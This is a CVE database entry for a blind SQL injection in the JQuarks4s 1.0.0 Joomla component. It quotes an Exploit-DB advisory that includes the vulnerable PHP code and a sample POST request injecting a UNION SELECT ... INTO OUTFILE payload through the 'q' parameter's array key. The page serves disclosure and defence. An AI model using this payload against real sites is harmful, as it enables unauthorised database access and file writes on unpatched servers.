CVE-2010-4638
Description
SQL injection vulnerability in the submitSurvey function in controller.php in JQuarks4s (com_jquarks4s) component 1.0.0 for Joomla!, when magic_quotes_gpc is disabled, allows remote attackers to execute arbitrary SQL commands via the q parameter in a submitSurvey action to index.php.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ if you've already worked around this in production โ publish your fix to the community-verified tier.
โ Propose a mitigation on Community โ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Joomla! Component JQuarks4s 1.0.0 - Blind SQL Injection
JQuarks4s Joomla Component 1.0.0 Blind SQL Injection Vulnerability
Name JQuarks4s
Vendor http://www.iptechinside.com/labs/projects/list_files/jquarks-for-surveys
Versions Affected 1.0.0
Author Salvatore Fresta aka Drosophila
Website http://www.salvatorefresta.net
Contact salvatorefresta [at] gmail [dot] com
Date 2010-11-08
X. INDEX
I. ABOUT THE APPLICATION
II. DESCRIPTION
III. ANALYSIS
IV. SAMPLE CODE
V. FIX
I. ABOUT THE APPLICATION
________________________
A Joomla 1.5 free and open source tool for online surveys
and statistical analysis.
II. DESCRIPTION
_______________
A parameter is not properly sanitised before being used
in a SQL query.
III. ANALYSIS
_____________
Summary:
A) Blind SQL Injection
A) Blind SQL Injection
_______________________
Input passed to the "q" parameter in when "option"
is set to "com_jquarks4s" and "task" to "submitSurvey" is
not properly verified before being used in a SQL query.
This can be exploited to manipulate SQL queries by
injecting arbitrary SQL code.
The following is the vulnerable code (controller.php):
function submitSurvey()
{
// get post data
$data = JRequest::get('post');
...
$questions = $data['q'];
// debug
//var_dump($data);exit;
foreach ($questions as $question_id => $question) :
$type_id = (int)$question['type_id'];
switch ($type_id) :
...
case 4:
// recuperer les row_id du question_id
$rowsDB = $sessionModel->getRows($question_id);
So, $question_id is a key of the array "q" and type_id
his value. Therefore the injection is possibile by
inserting arbitrary SQL code as the key of the array and
4 as his value.
IV. SAMPLE CODE
_______________
A) Blind SQL Injection
Try to send the following packet to your test server.
Ensure that magic_quotes_gpc is set to off in order to
use the following test.
POST /path/index.php HTTP/1.1
Host: target
Content-Type: application x-www-form-urlencoded
Content-Length: 97
option=com_jquarks4s&task=submitSurvey&q[-1 UNION SELECT 0x414141 INTO OUTFILE '/tmp/trycopy' ]=4
Note that if you want to use the '=' character, you must
covert it in URL encode format (%3D), otherwise the value
4 needed for the injection cannot be read.
V. FIX
______
No fix.
Application impact
| Vendor | Product | Versions | Fixed |
|---|---|---|---|
| iptechinside | com_jquarks4s | 1.0.0 | |
| joomla | joomla\! | | |
References
- http://adv.salvatorefresta.net/JQuarks4s_Joomla_Component_1.0.0_Blind_SQL_Injection_Vulnerability-08112010.txt
- http://secunia.com/advisories/42164
- http://www.exploit-db.com/exploits/15466
- http://adv.salvatorefresta.net/JQuarks4s_Joomla_Component_1.0.0_Blind_SQL_Injection_Vulnerability-08112010.txt
- http://secunia.com/advisories/42164
- http://www.exploit-db.com/exploits/15466
CWEs
CWE-89
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.